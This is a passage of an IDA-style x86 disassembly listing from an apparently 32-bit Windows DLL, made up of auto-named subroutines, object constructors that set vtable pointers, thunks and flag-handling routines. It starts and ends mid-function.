push ebx
push esi
push edi
push [esp+0Ch+arg_4]
mov esi, ecx
lea edi, [esi+40h]
push edi
call sub_69B17320
push [esp+0Ch+arg_8]
lea ebx, [esi+3Ch]
push ebx
call sub_69B17320
mov ecx, [esp+0Ch+arg_C]
xor edx, edx
xor eax, eax
inc edx
cmp [edi], eax
mov [esi+44h], ecx
jnz short loc_69B6784E
cmp [ebx], eax
jz short loc_69B67850
loc_69B6784E: ; CODE XREF: sub_69B6781B+2Dj
mov eax, edx
loc_69B67850: ; CODE XREF: sub_69B6781B+31j
xor ebx, ebx
cmp ecx, edx
setz bl
xor ecx, ecx
mov cl, [esp+0Ch+arg_0]
and eax, edx
pop edi
and ebx, edx
shl ebx, 1
and ecx, edx
or ebx, ecx
mov ecx, [esi+48h]
shl ebx, 1
and ecx, 0FFFFFFF8h
or ebx, ecx
or ebx, eax
mov [esi+48h], ebx
pop esi
pop ebx
retn 10h
sub_69B6781B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6787C proc near ; CODE XREF: sub_69B67D9D+2Bp
; sub_69B69268+25p
; DATA XREF: ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword ptr [esi+4], 0
jnz short loc_69B67897
push [ebp+arg_4]
lea ecx, [esi+28h]
call sub_69B677FE
and [ebp+arg_4], 0
loc_69B67897: ; CODE XREF: sub_69B6787C+Aj
push [ebp+arg_8]
mov ecx, esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B6CD21
pop esi
pop ebp
retn 0Ch
sub_69B6787C endp
; =============== S U B R O U T I N E =======================================
sub_69B678AC proc near ; CODE XREF: sub_69B67B07+3j
; sub_69B67B0F+3j ...
push esi
mov esi, ecx
push 0
lea eax, [esi+40h]
push eax
call sub_69B17320
push 0
lea eax, [esi+3Ch]
push eax
call sub_69B17320
push 0
lea ecx, [esi+38h]
call sub_69B677FE
mov ecx, esi
pop esi
jmp sub_69B6CBC6
sub_69B678AC endp
; =============== S U B R O U T I N E =======================================
sub_69B678D7 proc near ; CODE XREF: sub_69B67960+10p
; sub_69B67B5D+17p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
mov esi, ecx
jz short loc_69B67955
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
test byte ptr [esi+48h], 4
jz short loc_69B678FC
cmp eax, 1
jz short loc_69B6791F
cmp eax, 6
jz short loc_69B6791F
jmp short loc_69B67955
; ---------------------------------------------------------------------------
loc_69B678FC: ; CODE XREF: sub_69B678D7+17j
mov ecx, [esi+44h]
cmp ecx, 0FFFFFFFFh
jz short loc_69B6791F
cmp eax, ecx
jnz short loc_69B67955
cmp dword ptr [esi+0Ch], 1
jnz short loc_69B6791F
cmp ecx, 5
jnz short loc_69B6791F
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+48h]
cmp eax, 12h
jz short loc_69B67955
loc_69B6791F: ; CODE XREF: sub_69B678D7+1Cj
; sub_69B678D7+21j ...
test byte ptr [esi+48h], 1
jz short loc_69B67959
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+3Ch]
test eax, eax
jz short loc_69B67955
mov ecx, [esi+3Ch]
test ecx, ecx
mov edx, [eax+8]
jz short loc_69B6793F
cmp ecx, [edx+14h]
jnz short loc_69B67955
loc_69B6793F: ; CODE XREF: sub_69B678D7+61j
test byte ptr [esi+48h], 2
jz short loc_69B6794D
mov eax, [esi+40h]
cmp eax, [edx+10h]
jmp short loc_69B67953
; ---------------------------------------------------------------------------
loc_69B6794D: ; CODE XREF: sub_69B678D7+6Cj
mov ecx, [esi+40h]
cmp ecx, [eax+0Ch]
loc_69B67953: ; CODE XREF: sub_69B678D7+74j
jz short loc_69B67959
loc_69B67955: ; CODE XREF: sub_69B678D7+Aj
; sub_69B678D7+23j ...
xor al, al
jmp short loc_69B6795B
; ---------------------------------------------------------------------------
loc_69B67959: ; CODE XREF: sub_69B678D7+4Cj
; sub_69B678D7:loc_69B67953j
mov al, 1
loc_69B6795B: ; CODE XREF: sub_69B678D7+80j
pop edi
pop esi
retn 4
sub_69B678D7 endp
; =============== S U B R O U T I N E =======================================
sub_69B67960 proc near ; DATA XREF: .text:69B13044o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
mov esi, ecx
jz short loc_69B67994
push edi
lea ecx, [esi-10h]
call sub_69B678D7
test al, al
jz short loc_69B67994
mov ecx, [esi+4]
test ecx, ecx
jz short loc_69B67990
mov eax, [ecx]
push edi
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call dword ptr [eax+4Ch]
jmp short loc_69B67996
; ---------------------------------------------------------------------------
loc_69B67990: ; CODE XREF: sub_69B67960+1Ej
mov eax, edi
jmp short loc_69B67996
; ---------------------------------------------------------------------------
loc_69B67994: ; CODE XREF: sub_69B67960+Aj
; sub_69B67960+17j
xor eax, eax
loc_69B67996: ; CODE XREF: sub_69B67960+2Ej
; sub_69B67960+32j
pop edi
pop esi
retn 0Ch
sub_69B67960 endp
; =============== S U B R O U T I N E =======================================
sub_69B6799B proc near ; DATA XREF: .text:69B13048o
; .text:69B13190o ...
arg_0 = dword ptr 4
push dword_69B95A18
mov ecx, [esp+4+arg_0]
call sub_69B677BA
test al, al
jnz short locret_69B679BD
push dword_69B95A18
mov ecx, [esp+4+arg_0]
call sub_69B8A35C
locret_69B679BD: ; CODE XREF: sub_69B6799B+11j
retn 4
sub_69B6799B endp
; =============== S U B R O U T I N E =======================================
sub_69B679C0 proc near ; DATA XREF: .text:69B1313Co
; .text:69B13284o ...
arg_4 = dword ptr 8
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_4]
push edi
mov edi, ecx
mov eax, [edi+44h]
cmp eax, 0FFFFFFFFh
jz short loc_69B679F2
cmp eax, 0Fh
jz short loc_69B679F2
mov ecx, dword_69B9B318
mov ebx, [ecx+8]
mov ebp, [esi]
push eax
call sub_69B2F0F7
push eax
push ebx
mov ecx, esi
call dword ptr [ebp+0ACh]
loc_69B679F2: ; CODE XREF: sub_69B679C0+10j
; sub_69B679C0+15j
mov eax, [edi+48h]
test al, 1
jz short loc_69B67A42
mov ecx, [edi+40h]
test ecx, ecx
jz short loc_69B67A22
test al, 2
mov eax, dword_69B9B328
jnz short loc_69B67A0E
mov eax, dword_69B9B330
loc_69B67A0E: ; CODE XREF: sub_69B679C0+47j
mov ebx, [eax+8]
mov eax, [ecx]
mov ebp, [esi]
call dword ptr [eax+2Ch]
push eax
push ebx
mov ecx, esi
call dword ptr [ebp+0ACh]
loc_69B67A22: ; CODE XREF: sub_69B679C0+3Ej
mov ecx, [edi+3Ch]
test ecx, ecx
jz short loc_69B67A42
mov eax, dword_69B9B320
mov edi, [eax+8]
mov eax, [ecx]
mov ebx, [esi]
call dword ptr [eax+2Ch]
push eax
push edi
mov ecx, esi
call dword ptr [ebx+0ACh]
loc_69B67A42: ; CODE XREF: sub_69B679C0+37j
; sub_69B679C0+67j
pop edi
pop esi
pop ebp
pop ebx
retn 8
sub_69B679C0 endp
; =============== S U B R O U T I N E =======================================
sub_69B67A49 proc near ; CODE XREF: sub_69B67BD2+38p
; sub_69B67FBD+Dp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
xor ecx, ecx
mov cl, [eax]
mov eax, [eax]
and eax, 0FFFFFFFEh
and ecx, 0FFFFFF01h
push ecx
push eax
push esi
call sub_69B2DFD1
mov eax, esi
pop esi
retn 4
sub_69B67A49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B67A6D proc near ; CODE XREF: sub_69B67CEB+28p
; sub_69B68013+1Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
push [ebp+arg_1C]
mov esi, ecx
push [ebp+arg_18]
push [ebp+arg_0]
call sub_69B6D314
movzx eax, byte ptr [ebp+arg_1C]
mov dword ptr [esi], offset off_69B130F0
mov dword ptr [esi+8], offset off_69B13090
mov dword ptr [esi+10h], offset off_69B12FF8
mov [esi+38h], eax
movzx eax, byte ptr [ebp+arg_14]
shl eax, 2
xor eax, [esi+48h]
and eax, 4
xor [esi+48h], eax
cmp dword ptr [esi+0Ch], 1
jz short loc_69B67ACB
cmp [ebp+arg_4], 0
mov eax, [ebp+arg_8]
jz short loc_69B67AC5
test eax, eax
jnz short loc_69B67ACB
cmp [ebp+arg_10], 0Fh
jnz short loc_69B67ACB
loc_69B67AC5: ; CODE XREF: sub_69B67A6D+4Cj
mov byte ptr [ebp+arg_14], 0
jmp short loc_69B67AD2
; ---------------------------------------------------------------------------
loc_69B67ACB: ; CODE XREF: sub_69B67A6D+43j
; sub_69B67A6D+50j ...
mov eax, [ebp+arg_4]
mov byte ptr [ebp+arg_14], 1
loc_69B67AD2: ; CODE XREF: sub_69B67A6D+5Cj
push [ebp+arg_10]
mov ecx, esi
push [ebp+arg_C]
push eax
push [ebp+arg_14]
call sub_69B6781B
mov eax, esi
pop esi
pop ebp
retn 20h
sub_69B67A6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_69B67AEA proc near ; DATA XREF: .text:69B12C80o
; .text:69B13058o ...
jmp sub_69B6D410
sub_69B67AEA endp
; =============== S U B R O U T I N E =======================================
sub_69B67AEF proc near ; DATA XREF: .text:69B1309Co
; .text:69B13714o
arg_0 = byte ptr 4
sub ecx, 8
jmp sub_69B69319
sub_69B67AEF endp
; =============== S U B R O U T I N E =======================================
sub_69B67AF7 proc near ; DATA XREF: .text:69B130ACo
sub ecx, 8
jmp sub_69B67784
sub_69B67AF7 endp
; ---------------------------------------------------------------------------
loc_69B67AFF: ; DATA XREF: .text:69B13014o
sub ecx, 10h
jmp sub_69B67784
; =============== S U B R O U T I N E =======================================
sub_69B67B07 proc near ; DATA XREF: .text:69B130C4o
; .text:69B1373Co
sub ecx, 8
jmp sub_69B678AC
sub_69B67B07 endp
; =============== S U B R O U T I N E =======================================
sub_69B67B0F proc near ; DATA XREF: .text:69B1302Co
; .text:69B136A4o
sub ecx, 10h
jmp sub_69B678AC
sub_69B67B0F endp
; =============== S U B R O U T I N E =======================================
sub_69B67B17 proc near ; CODE XREF: sub_69B67D20+12p
; sub_69B6934C-8Dp
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
xor edi, edi
push edi
push edi
mov esi, ecx
call sub_69B6D314
movzx eax, byte ptr [esp+8+arg_0]
push 0FFFFFFFFh
push edi
mov dword ptr [esi], offset off_69B130F0
mov dword ptr [esi+8], offset off_69B13090
mov dword ptr [esi+10h], offset off_69B12FF8
mov [esi+38h], eax
push edi
mov [esi+3Ch], edi
push edi
mov ecx, esi
mov [esi+40h], edi
call sub_69B6781B
pop edi
mov eax, esi
pop esi
retn 4
sub_69B67B17 endp
; =============== S U B R O U T I N E =======================================
sub_69B67B5D proc near ; DATA XREF: .text:69B13134o
; .text:69B137ACo
push esi
mov esi, ecx
cmp dword ptr [esi+14h], 0
push edi
jnz short loc_69B67B98
cmp dword ptr [esi+2Ch], 0
jnz short loc_69B67BA5
mov eax, [esi+38h]
and eax, 0FFFFFFFEh
push eax
call sub_69B678D7
test al, al
jz short loc_69B67BA5
mov eax, [esi+38h]
and eax, 0FFFFFFFEh
jmp short loc_69B67BA7
; ---------------------------------------------------------------------------
loc_69B67B85: ; CODE XREF: sub_69B67B5D+46j
push edi
mov ecx, esi
call sub_69B678D7
test al, al
jnz short loc_69B67BAA
mov ecx, esi
call sub_69B65903
loc_69B67B98: ; CODE XREF: sub_69B67B5D+8j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
mov edi, eax
test edi, edi
jnz short loc_69B67B85
loc_69B67BA5: ; CODE XREF: sub_69B67B5D+Ej
; sub_69B67B5D+1Ej
xor eax, eax
loc_69B67BA7: ; CODE XREF: sub_69B67B5D+26j
; sub_69B67B5D+4Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B67BAA: ; CODE XREF: sub_69B67B5D+32j
mov eax, edi
jmp short loc_69B67BA7
sub_69B67B5D endp
; =============== S U B R O U T I N E =======================================
sub_69B67BAE proc near ; DATA XREF: .text:69B13138o
; .text:69B137B0o
mov eax, [ecx+38h]
test eax, 0FFFFFFFEh
jz sub_69B6C9EA
push 0
and eax, 0FFFFFFFEh
push eax
call sub_69B6D8E2
push eax
push 0
call sub_69B6D2B6
retn 4
sub_69B67BAE endp
; =============== S U B R O U T I N E =======================================
sub_69B67BD2 proc near ; CODE XREF: sub_69B6848D+8p
; DATA XREF: .text:69B13074o ...
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov esi, ecx
call sub_69B6CFE2
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
push dword ptr [esi+34h]
mov edi, eax
push dword ptr [esi+2Ch]
mov eax, [esi+38h]
push dword ptr [esi+30h]
shr eax, 1
and eax, 0FFFFFF01h
push eax
mov ecx, edi
call sub_69B6781B
add esi, 28h
push esi
lea ecx, [edi+38h]
call sub_69B67A49
mov eax, edi
add edi, 10h
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
retn 4
sub_69B67BD2 endp
; =============== S U B R O U T I N E =======================================
sub_69B67C1F proc near ; CODE XREF: sub_69B67CD3+Fp
; sub_69B684CA+7p ...
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B6D3CA
xor eax, eax
push 0FFFFFFFFh
push eax
mov dword ptr [esi], offset off_69B130F0
mov dword ptr [esi+8], offset off_69B13090
mov dword ptr [esi+10h], offset off_69B12FF8
mov [esi+38h], eax
push eax
mov [esi+3Ch], eax
push eax
mov ecx, esi
mov [esi+40h], eax
call sub_69B6781B
mov eax, esi
pop esi
retn 4
sub_69B67C1F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B67CC1
loc_69B67C5C: ; CODE XREF: sub_69B67CC1+Dj
push esi
mov esi, ecx
call sub_69B6D38A
xor eax, eax
push 0FFFFFFFFh
push eax
mov dword ptr [esi], offset off_69B130F0
mov dword ptr [esi+8], offset off_69B13090
mov dword ptr [esi+10h], offset off_69B12FF8
mov [esi+38h], eax
push eax
mov [esi+3Ch], eax
push eax
mov ecx, esi
mov [esi+40h], eax
call sub_69B6781B
mov eax, esi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_69B67CC1
; =============== S U B R O U T I N E =======================================
sub_69B67C93 proc near ; CODE XREF: sub_69B6852E+67j
; sub_69B69319+3p
push esi
mov esi, ecx
lea eax, [esi+40h]
push eax
call sub_69B17230
lea eax, [esi+3Ch]
push eax
call sub_69B17230
lea eax, [esi+38h]
test byte ptr [eax], 1
jz short loc_69B67CB9
and dword ptr [eax], 0FFFFFFFEh
push eax
call sub_69B17230
loc_69B67CB9: ; CODE XREF: sub_69B67C93+1Bj
mov ecx, esi
pop esi
jmp sub_69B65BC0
sub_69B67C93 endp
; =============== S U B R O U T I N E =======================================
sub_69B67CC1 proc near ; CODE XREF: sub_69B71C05-4FF4Ep
; FUNCTION CHUNK AT 69B67C5C SIZE 00000037 BYTES
push 4Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B67CD0
mov ecx, eax
jmp short loc_69B67C5C
; ---------------------------------------------------------------------------
loc_69B67CD0: ; CODE XREF: sub_69B67CC1+9j
xor eax, eax
retn
sub_69B67CC1 endp
; =============== S U B R O U T I N E =======================================
sub_69B67CD3 proc near ; DATA XREF: .text:69B2971Co
push 4Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B67CE8
push 0
mov ecx, eax
call sub_69B67C1F
retn
; ---------------------------------------------------------------------------
loc_69B67CE8: ; CODE XREF: sub_69B67CD3+9j
xor eax, eax
retn
sub_69B67CD3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B67CEB proc near ; CODE XREF: sub_69B5FB27+180p
; sub_69B5FEEC+3Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 4Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B67D1A
push [ebp+arg_18]
mov ecx, eax
push [ebp+arg_14]
push [ebp+arg_1C]
push [ebp+arg_4]
push [ebp+arg_C]
push [ebp+arg_10]
push [ebp+arg_8]
push [ebp+arg_0]
call sub_69B67A6D
jmp short loc_69B67D1C
; ---------------------------------------------------------------------------
loc_69B67D1A: ; CODE XREF: sub_69B67CEB+Cj
xor eax, eax
loc_69B67D1C: ; CODE XREF: sub_69B67CEB+2Dj
pop ebp
retn 20h
sub_69B67CEB endp
; =============== S U B R O U T I N E =======================================
sub_69B67D20 proc near ; CODE XREF: sub_69B6349E+18Dp
; sub_69B64A14+13Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 4Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B67D3B
push [esp+4+arg_4]
mov ecx, eax
call sub_69B67B17
mov esi, eax
jmp short loc_69B67D3D
; ---------------------------------------------------------------------------
loc_69B67D3B: ; CODE XREF: sub_69B67D20+Aj
xor esi, esi
loc_69B67D3D: ; CODE XREF: sub_69B67D20+19j
push [esp+4+arg_0]
lea ecx, [esi+38h]
call sub_69B677FE
mov eax, esi
pop esi
retn 8
sub_69B67D20 endp
; =============== S U B R O U T I N E =======================================
sub_69B67D4F proc near ; CODE XREF: sub_69B6808D+3j
; .text:69B680A8j
; DATA XREF: ...
mov eax, offset off_69B67D58
retn
sub_69B67D4F endp
; ---------------------------------------------------------------------------
align 4
off_69B67D58 dd offset off_69B29718 ; DATA XREF: sub_69B67D4Fo
dd offset sub_69B6859A
; =============== S U B R O U T I N E =======================================
sub_69B67D60 proc near ; DATA XREF: .text:69B13224o
push esi
mov esi, ecx
call sub_69B6CA4E
cmp dword ptr [esi+3Ch], 0Fh
pop esi
jnz short locret_69B67D72
and eax, 0FFFFFFFEh
locret_69B67D72: ; CODE XREF: sub_69B67D60+Dj
retn
sub_69B67D60 endp
; =============== S U B R O U T I N E =======================================
sub_69B67D73 proc near ; CODE XREF: sub_69B68095+3j
; sub_69B680AD+3j
; DATA XREF: ...
add ecx, 10h
mov eax, [ecx]
push 0
call dword ptr [eax+7Ch]
mov ecx, eax
neg eax
sbb eax, eax
lea edx, [ecx-10h]
and eax, edx
mov edx, ecx
add ecx, 0FFFFFFF0h
neg edx
sbb edx, edx
and edx, ecx
add edx, 8
neg eax
sbb eax, eax
and eax, edx
retn
sub_69B67D73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B67D9D proc near ; DATA XREF: .text:69B13188o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword ptr [esi+4], 0
jz short loc_69B67DAD
xor eax, eax
jmp short loc_69B67DB4
; ---------------------------------------------------------------------------
loc_69B67DAD: ; CODE XREF: sub_69B67D9D+Aj
mov eax, [ebp+arg_4]
and [ebp+arg_4], 0
loc_69B67DB4: ; CODE XREF: sub_69B67D9D+Ej
lea ecx, [esi-10h]
mov edx, [ecx]
push eax
call dword ptr [edx+50h]
push [ebp+arg_8]
mov ecx, esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B6787C
cmp dword ptr [esi+34h], 0Fh
jz short loc_69B67DEB
mov ecx, [esi+4]
test ecx, ecx
jz short loc_69B67DEB
mov eax, [ecx]
call dword ptr [eax+94h]
test al, al
jz short loc_69B67DEB
xor eax, eax
inc eax
jmp short loc_69B67DED
; ---------------------------------------------------------------------------
loc_69B67DEB: ; CODE XREF: sub_69B67D9D+34j
; sub_69B67D9D+3Bj ...
xor eax, eax
loc_69B67DED: ; CODE XREF: sub_69B67D9D+4Cj
mov ecx, [esi+6Ch]
xor ecx, eax
and ecx, 1
xor [esi+6Ch], ecx
pop esi
pop ebp
retn 0Ch
sub_69B67D9D endp
; =============== S U B R O U T I N E =======================================
sub_69B67DFD proc near ; DATA XREF: .text:69B1318Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
mov esi, ecx
jz short loc_69B67E3C
cmp edi, [esp+8+arg_4]
jz short loc_69B67E3C
push edi
lea ecx, [esi-10h]
call sub_69B678D7
test al, al
jz short loc_69B67E3C
mov eax, [edi]
mov esi, [esi+4]
mov ecx, edi
call dword ptr [eax+64h]
test esi, esi
jz short loc_69B67E3E
mov edx, [esi]
push eax
push [esp+0Ch+arg_4]
mov ecx, esi
push [esp+10h+arg_0]
call dword ptr [edx+4Ch]
jmp short loc_69B67E3E
; ---------------------------------------------------------------------------
loc_69B67E3C: ; CODE XREF: sub_69B67DFD+Aj
; sub_69B67DFD+10j ...
xor eax, eax
loc_69B67E3E: ; CODE XREF: sub_69B67DFD+2Bj
; sub_69B67DFD+3Dj
pop edi
pop esi
retn 0Ch
sub_69B67DFD endp
; =============== S U B R O U T I N E =======================================
sub_69B67E43 proc near ; DATA XREF: .text:69B131A0o
arg_0 = dword ptr 4
push esi
mov esi, ecx
test byte ptr [esi+6Ch], 1
jz short loc_69B67E61
push dword ptr [esi+50h]
push 0
call sub_69B6D2B6
push dword ptr [esi+4Ch]
push eax
call sub_69B6D1E0
jmp short loc_69B67E6C
; ---------------------------------------------------------------------------
loc_69B67E61: ; CODE XREF: sub_69B67E43+7j
push [esp+4+arg_0]
mov ecx, esi
call sub_69B6D410
loc_69B67E6C: ; CODE XREF: sub_69B67E43+1Cj
pop esi
retn 4
sub_69B67E43 endp
; =============== S U B R O U T I N E =======================================
sub_69B67E70 proc near ; DATA XREF: .text:69B131B0o
xor eax, eax
cmp [ecx+4], eax
jz short loc_69B67E7E
fld ds:dbl_69B296F8
retn
; ---------------------------------------------------------------------------
loc_69B67E7E: ; CODE XREF: sub_69B67E70+5j
cmp [ecx+2Ch], eax
jz short loc_69B67E8A
fld ds:dbl_69B29700
retn
; ---------------------------------------------------------------------------
loc_69B67E8A: ; CODE XREF: sub_69B67E70+11j
cmp [ecx+30h], eax
jz short loc_69B67E96
fld ds:dbl_69B67EA0
retn
; ---------------------------------------------------------------------------
loc_69B67E96: ; CODE XREF: sub_69B67E70+1Dj
fld ds:dbl_69B296F0
retn
sub_69B67E70 endp
; ---------------------------------------------------------------------------
align 10h
dbl_69B67EA0 dq -2.5e-1 ; DATA XREF: sub_69B67E70+1Fr
; =============== S U B R O U T I N E =======================================
sub_69B67EA8 proc near ; DATA XREF: .text:69B13270o
cmp dword ptr [ecx+44h], 0Fh
mov eax, dword_69B9B428
jnz short locret_69B67EB8
mov eax, dword_69B9B430
locret_69B67EB8: ; CODE XREF: sub_69B67EA8+9j
retn
sub_69B67EA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B67EB9 proc near ; CODE XREF: sub_69B67F16+17p
; sub_69B680C5+24p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push [ebp+arg_8]
mov esi, ecx
push [ebp+arg_0]
push esi
call sub_69B2DFD1
push [ebp+arg_8]
lea eax, [esi+4]
push 0
push eax
call sub_69B2DFD1
mov ecx, [esi+0Ch]
and dword ptr [esi+10h], 0
push [ebp+arg_C]
xor eax, eax
mov al, [ebp+arg_4]
and ecx, 0FFFFFFFCh
add esi, 14h
push esi
and eax, 1
shl eax, 1
or eax, ecx
mov [esi-8], eax
call sub_69B17320
pop esi
pop ebp
retn 10h
sub_69B67EB9 endp
; =============== S U B R O U T I N E =======================================
sub_69B67F03 proc near ; CODE XREF: sub_69B6852E+9p
; sub_69B68C28+29p ...
push esi
mov esi, ecx
push 0
push esi
call sub_69B17320
push esi
call sub_69B17230
pop esi
retn
sub_69B67F03 endp
; =============== S U B R O U T I N E =======================================
sub_69B67F16 proc near ; CODE XREF: sub_69B680B5+3j
; sub_69B680BD+3j
; DATA XREF: ...
push esi
mov esi, ecx
xor eax, eax
mov al, [esi+1Ch]
push edi
xor edi, edi
push edi
lea ecx, [esi+4Ch]
and eax, 0FFFFFF01h
push eax
push edi
push edi
call sub_69B67EB9
push edi
lea eax, [esi+68h]
push eax
call sub_69B17320
push edi
lea ecx, [esi+64h]
call sub_69B677FE
push edi
lea ecx, [esi+6Ch]
call sub_69B677FE
push edi
lea ecx, [esi+70h]
call sub_69B677FE
push edi
lea eax, [esi+74h]
push eax
call sub_69B17320
push edi
lea eax, [esi+78h]
push eax
call sub_69B17320
pop edi
mov ecx, esi
pop esi
jmp sub_69B678AC
sub_69B67F16 endp
; =============== S U B R O U T I N E =======================================
sub_69B67F74 proc near ; CODE XREF: sub_69B6852E+5Fp
; sub_69B6DB6E+13p
push ebx
push esi
push edi
push 0
mov esi, ecx
call sub_69B677FE
lea edi, [esi+4]
push 0
mov ecx, edi
call sub_69B677FE
push 0
lea ebx, [esi+14h]
push ebx
call sub_69B17320
push ebx
call sub_69B17230
test byte ptr [edi], 1
jz short loc_69B67FAB
and dword ptr [edi], 0FFFFFFFEh
push edi
call sub_69B17230
loc_69B67FAB: ; CODE XREF: sub_69B67F74+2Cj
test byte ptr [esi], 1
jz short loc_69B67FB9
and dword ptr [esi], 0FFFFFFFEh
push esi
call sub_69B17230
loc_69B67FB9: ; CODE XREF: sub_69B67F74+3Aj
pop edi
pop esi
pop ebx
retn
sub_69B67F74 endp
; =============== S U B R O U T I N E =======================================
sub_69B67FBD proc near ; CODE XREF: sub_69B681B0+126p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, ecx
cmp edi, esi
jz short loc_69B6800E
push esi
call sub_69B67A49
lea eax, [esi+4]
push eax
lea ecx, [edi+4]
call sub_69B67A49
mov eax, [esi+8]
mov [edi+8], eax
lea eax, [edi+0Ch]
mov ecx, [eax]
xor ecx, [esi+0Ch]
add esi, 14h
and ecx, 1
xor [eax], ecx
mov ecx, [eax]
mov edx, [esi-8]
xor edx, ecx
and edx, 2
xor edx, ecx
mov [eax], edx
mov eax, [esi-4]
push esi
lea ecx, [edi+14h]
mov [edi+10h], eax
call sub_69B4D414
loc_69B6800E: ; CODE XREF: sub_69B67FBD+Aj
pop edi
pop esi
retn 4
sub_69B67FBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B68013 proc near ; CODE XREF: sub_69B685B5+2Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
push [ebp+arg_1C]
mov esi, ecx
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B67A6D
movzx eax, byte ptr [ebp+arg_1C]
mov dword ptr [esi], offset off_69B13238
mov dword ptr [esi+8], offset off_69B131D8
mov dword ptr [esi+10h], offset off_69B13140
xor ecx, ecx
mov [esi+4Ch], ecx
mov [esi+50h], ecx
mov [esi+60h], ecx
mov [esi+64h], eax
mov [esi+68h], ecx
mov [esi+6Ch], eax
mov [esi+70h], eax
mov [esi+80h], ecx
mov [esi+64h], eax
mov [esi+6Ch], eax
mov [esi+70h], eax
mov eax, esi
pop esi
pop ebp
retn 20h
sub_69B68013 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_69B6807B proc near ; DATA XREF: .text:69B13194o
jmp sub_69B6CD8D
sub_69B6807B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_69B68080 proc near ; DATA XREF: .text:69B13198o
jmp sub_69B6CDE6
sub_69B68080 endp
; =============== S U B R O U T I N E =======================================
sub_69B68085 proc near ; DATA XREF: .text:69B131E4o
arg_0 = byte ptr 4
sub ecx, 8
jmp sub_69B68513
sub_69B68085 endp
; =============== S U B R O U T I N E =======================================
sub_69B6808D proc near ; DATA XREF: .text:69B131F4o
sub ecx, 8
jmp sub_69B67D4F
sub_69B6808D endp
; =============== S U B R O U T I N E =======================================
sub_69B68095 proc near ; DATA XREF: .text:69B13200o
sub ecx, 8
jmp sub_69B67D73
sub_69B68095 endp
; ---------------------------------------------------------------------------
loc_69B6809D: ; DATA XREF: .text:69B1314Co
sub ecx, 10h
jmp sub_69B68513
; ---------------------------------------------------------------------------
loc_69B680A5: ; DATA XREF: .text:69B1315Co
sub ecx, 10h
jmp sub_69B67D4F
; =============== S U B R O U T I N E =======================================
sub_69B680AD proc near ; DATA XREF: .text:69B13168o
sub ecx, 10h
jmp sub_69B67D73
sub_69B680AD endp
; =============== S U B R O U T I N E =======================================
sub_69B680B5 proc near ; DATA XREF: .text:69B1320Co
sub ecx, 8
jmp sub_69B67F16
sub_69B680B5 endp
; =============== S U B R O U T I N E =======================================
sub_69B680BD proc near ; DATA XREF: .text:69B13174o
sub ecx, 10h
jmp sub_69B67F16
sub_69B680BD endp
; =============== S U B R O U T I N E =======================================
sub_69B680C5 proc near ; CODE XREF: sub_69B68121+6p
; sub_69B68134+11p ...
push esi
